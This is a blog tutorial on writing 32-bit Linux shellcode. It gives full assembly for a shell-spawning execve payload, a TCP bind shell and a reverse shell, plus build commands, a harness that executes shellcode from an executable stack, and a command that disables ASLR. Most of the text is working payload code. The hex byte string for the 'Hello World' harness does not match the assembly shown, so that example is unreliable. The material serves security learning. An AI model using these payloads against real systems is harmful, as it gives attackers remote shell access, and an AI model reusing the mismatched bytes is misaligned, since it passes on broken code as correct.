Thilan Dissanayaka Exploit development May 17

Writing a Shell Code for Linux

Linux Shellcode Development Tutorial - 32-bit Systems

Introduction

Shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. Understanding shellcode development is crucial for penetration testers and security researchers to understand attack vectors and develop better defenses.

Important Note: This tutorial is for educational purposes only. Always ensure you have proper authorization before testing on any systems.

Prerequisites

  • Basic understanding of assembly language
  • Knowledge of Linux system calls
  • Familiarity with debugging tools (gdb, objdump)
  • A 32-bit Linux environment or VM

Environment Setup

# Install necessary tools
sudo apt-get update
sudo apt-get install nasm gcc gdb strace

# Disable ASLR for consistent testing
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Understanding System Calls

Before writing shellcode, we need to understand how Linux system calls work. In 32-bit Linux:

  • System call number goes in EAX
  • Arguments go in EBX, ECX, EDX, ESI, EDI, EBP
  • Use int 0x80 to invoke the system call

Common system calls:

  • exit: syscall 1
  • write: syscall 4
  • execve: syscall 11

Chapter 1: Basic "Hello World" Shellcode

Let's start with a simple shellcode that prints "Hello World" and exits.

Assembly Code (hello.asm)

section .text
global _start

_start:
    ; write system call
    mov eax, 4          ; sys_write
    mov ebx, 1          ; stdout
    mov ecx, msg        ; message
    mov edx, msg_len    ; message length
    int 0x80            ; call kernel

    ; exit system call
    mov eax, 1          ; sys_exit
    mov ebx, 0          ; exit status
    int 0x80            ; call kernel

section .data
    msg db 'Hello World!', 0xa
    msg_len equ $ - msg

Converting to Position-Independent Code

Real shellcode needs to be position-independent. Here's the improved version:

section .text
global _start

_start:
    jmp short call_shellcode

shellcode:
    ; write system call
    pop ecx             ; get message address
    mov eax, 4          ; sys_write
    mov ebx, 1          ; stdout
    mov edx, 13         ; message length
    int 0x80            ; call kernel

    ; exit system call
    mov eax, 1          ; sys_exit
    mov ebx, 0          ; exit status
    int 0x80            ; call kernel

call_shellcode:
    call shellcode
    db 'Hello World!', 0xa

Compiling and Testing

# Assemble and link
nasm -f elf32 hello.asm -o hello.o
ld -m elf_i386 hello.o -o hello

# Test
./hello

# Extract shellcode
objdump -d hello | grep -E "^ " | cut -f2 | tr -d ' ' | tr -d '\n'

C Test Program

Create a test program to verify your shellcode:

#include <stdio.h>
#include <string.h>

char shellcode[] = 
"\xeb\x19\x5e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x0d\x00"
"\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
"\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64"
"\x21\x0a";

int main() {
    printf("Shellcode length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

Compile and test:

gcc -fno-stack-protector -z execstack -m32 test.c -o test
./test

Chapter 2: Shell Spawning Shellcode

Now let's create shellcode that spawns a shell using execve("/bin/sh", ["/bin/sh"], NULL).

Assembly Code (shell.asm)

section .text
global _start

_start:
    ; Clear registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; Push "/bin/sh" onto stack
    push eax        ; null terminator
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    ; Set up argv array
    push eax        ; argv[1] = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv

    ; execve system call
    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Optimized Version (Removing Null Bytes)

section .text
global _start

_start:
    ; Clear registers
    xor eax, eax
    push eax        ; null terminator

    ; Push "/bin/sh" onto stack
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    ; Set up argv and envp
    push eax        ; envp = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL (envp)

    ; execve system call
    mov al, 11      ; sys_execve (avoid null bytes)
    int 0x80        ; call kernel

Testing the Shell Shellcode

# Assemble and link
nasm -f elf32 shell.asm -o shell.o
ld -m elf_i386 shell.o -o shell

# Test
./shell

# Extract shellcode
objdump -d shell | grep -E "^ " | cut -f2 | tr -d ' ' | tr -d '\n'

Chapter 3: TCP Bind Shell

A bind shell listens on a port and provides shell access to connecting clients.

Assembly Code (bind_shell.asm)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    mov al, 102     ; sys_socketcall
    mov bl, 1       ; SYS_SOCKET
    push edx        ; protocol = 0
    push 1          ; SOCK_STREAM
    push 2          ; AF_INET
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    mov esi, eax    ; save socket fd

    ; bind(sockfd, {AF_INET, port, INADDR_ANY}, 16)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 2       ; SYS_BIND

    push edx        ; INADDR_ANY (0.0.0.0)
    push word 0x5c11 ; port 4444 (0x115c in network byte order)
    push word 2     ; AF_INET
    mov ecx, esp    ; sockaddr_in struct

    push 16         ; addrlen
    push ecx        ; addr
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    ; listen(sockfd, 0)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 4       ; SYS_LISTEN
    push edx        ; backlog = 0
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    ; accept(sockfd, NULL, NULL)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 5       ; SYS_ACCEPT
    push edx        ; addrlen = NULL
    push edx        ; addr = NULL
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    mov ebx, eax    ; save client fd

    ; dup2(clientfd, 0/1/2) - redirect stdin/stdout/stderr
    xor ecx, ecx
dup_loop:
    mov al, 63      ; sys_dup2
    int 0x80        ; call kernel
    inc ecx
    cmp cl, 3
    jne dup_loop

    ; execve("/bin/sh", ["/bin/sh"], NULL)
    xor eax, eax
    push eax        ; null terminator
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    push eax        ; envp = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL

    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Testing the Bind Shell

# Compile
nasm -f elf32 bind_shell.asm -o bind_shell.o
ld -m elf_i386 bind_shell.o -o bind_shell

# Run in one terminal
./bind_shell

# Connect from another terminal
nc localhost 4444

Chapter 4: TCP Reverse Shell

A reverse shell connects back to an attacker's machine.

Assembly Code (reverse_shell.asm)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    mov al, 102     ; sys_socketcall
    mov bl, 1       ; SYS_SOCKET
    push edx        ; protocol = 0
    push 1          ; SOCK_STREAM
    push 2          ; AF_INET
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    mov esi, eax    ; save socket fd

    ; connect(sockfd, {AF_INET, port, IP}, 16)
    xor eax, eax
    mov al, 102     ; sys_socketcall
    mov bl, 3       ; SYS_CONNECT

    push 0x0100007f ; IP address (127.0.0.1 in network byte order)
    push word 0x5c11 ; port 4444
    push word 2     ; AF_INET
    mov ecx, esp    ; sockaddr_in struct

    push 16         ; addrlen
    push ecx        ; addr
    push esi        ; sockfd
    mov ecx, esp    ; args
    int 0x80        ; call kernel

    ; dup2(sockfd, 0/1/2) - redirect stdin/stdout/stderr
    mov ebx, esi    ; socket fd
    xor ecx, ecx
dup_loop:
    mov al, 63      ; sys_dup2
    int 0x80        ; call kernel
    inc ecx
    cmp cl, 3
    jne dup_loop

    ; execve("/bin/sh", ["/bin/sh"], NULL)
    xor eax, eax
    push eax        ; null terminator
    push 0x68732f6e ; "n/sh"
    push 0x69622f2f ; "//bi"
    mov ebx, esp    ; ebx points to "/bin//sh"

    push eax        ; envp = NULL
    push ebx        ; argv[0] = "/bin//sh"
    mov ecx, esp    ; ecx points to argv
    mov edx, eax    ; edx = NULL

    mov al, 11      ; sys_execve
    int 0x80        ; call kernel

Shellcode Optimization Techniques

1. Removing Null Bytes

Null bytes terminate strings in C, so they must be avoided:

; Bad - contains null bytes
mov eax, 1

; Good - avoids null bytes
xor eax, eax
inc eax

2. Size Optimization

Use shorter instructions:

; Longer
mov eax, 0
mov ebx, 0

; Shorter
xor eax, eax
xor ebx, ebx

3. Self-Modifying Code

For complex shellcode, you might need to decode encrypted payloads at runtime.

Testing and Debugging

Using GDB

gdb ./shellcode_test
(gdb) set disassembly-flavor intel
(gdb) break main
(gdb) run
(gdb) disas shellcode
(gdb) x/20i shellcode

Using Strace

strace ./shellcode_test

Checking for Null Bytes

objdump -d shellcode | grep -P '\t00 '
ALSO READ
Observer Pattern explained simply
Apr 26 Software Architecture

When one object needs to notify many other objects about changes in its state **automatically**, the **Observer Pattern** steps in. ## What is the Observer Pattern? - Defines a....

Penetration Testing - Interview preparation guide
Jan 06 Interview Guides

# Fundamentals of Penetration Testing ## What is penetration testing? Penetration testing, or ethical hacking, involves simulating cyberattacks on systems, networks, or applications to identify....

SSRF - Server Side Request Forgery
May 27 Application Security

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's....

GraphQL - Interview preparation guide
Oct 01 Interview Guides

## What is GraphQL? GraphQL is a query language for APIs and a runtime for executing those queries. It allows clients to request exactly the data they need, reducing over-fetching and....

Abstract Factory Pattern explained simply
Apr 26 Software Architecture

When you want to create **families of related objects** without specifying their concrete classes, the **Abstract Factory Pattern** is your best friend. --- ## What is the Abstract Factory....

OAuth: The Secret Behind
May 17 Application Security

Ever clicked that handy "Sign in with Google" button instead of creating yet another username and password? You're not alone! Behind that convenient button lies a powerful technology called OAuth....